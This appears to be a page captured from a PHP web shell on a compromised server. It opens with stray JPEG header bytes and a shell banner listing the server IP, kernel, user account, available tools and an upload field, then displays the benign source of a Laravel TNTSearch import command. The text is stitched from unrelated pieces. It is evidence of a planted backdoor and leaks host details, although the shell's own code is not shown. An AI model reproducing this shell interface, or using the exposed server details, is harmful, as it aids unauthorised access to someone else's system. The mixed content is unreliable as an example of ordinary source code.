����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.110 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/www/vendor/teamtnt/laravel-scout-tntsearch-driver/src/Console/ |
Upload File : |
<?php
namespace TeamTNT\Scout\Console;
use Illuminate\Console\Command;
use Illuminate\Contracts\Events\Dispatcher;
use TeamTNT\TNTSearch\TNTSearch;
use Illuminate\Support\Facades\Schema;
class ImportCommand extends Command
{
/**
* The name and signature of the console command.
*
* @var string
*/
protected $signature = 'tntsearch:import {model}';
/**
* The console command description.
*
* @var string
*/
protected $description = 'Import the given model into the search index';
/**
* Execute the console command.
*
* @param \Illuminate\Contracts\Events\Dispatcher $events
*
* @return void
*/
public function handle(Dispatcher $events)
{
$class = $this->argument('model');
$model = new $class();
$tnt = new TNTSearch();
$driver = $model->getConnectionName() ?: config('database.default');
$config = config('scout.tntsearch') + config("database.connections.$driver");
$db = app('db')->connection($driver);
$tnt->loadConfig($config);
$tnt->setDatabaseHandle($db->getPdo());
if(!$model->count()) {
$this->info('Nothing to import.');
exit(0);
}
$indexer = $tnt->createIndex($model->searchableAs().'.index');
$indexer->setPrimaryKey($model->getKeyName());
$availableColumns = Schema::connection($driver)->getColumnListing($model->getTable());
$desiredColumns = array_keys($model->first()->toSearchableArray());
$fields = array_intersect($desiredColumns, $availableColumns);
$query = $db->table($model->getTable());
if ($fields) {
$query->select($model->getKeyName())
->addSelect($fields);
}
$indexer->query($query->toSql());
$indexer->run();
$this->info('All ['.$class.'] records have been imported.');
}
}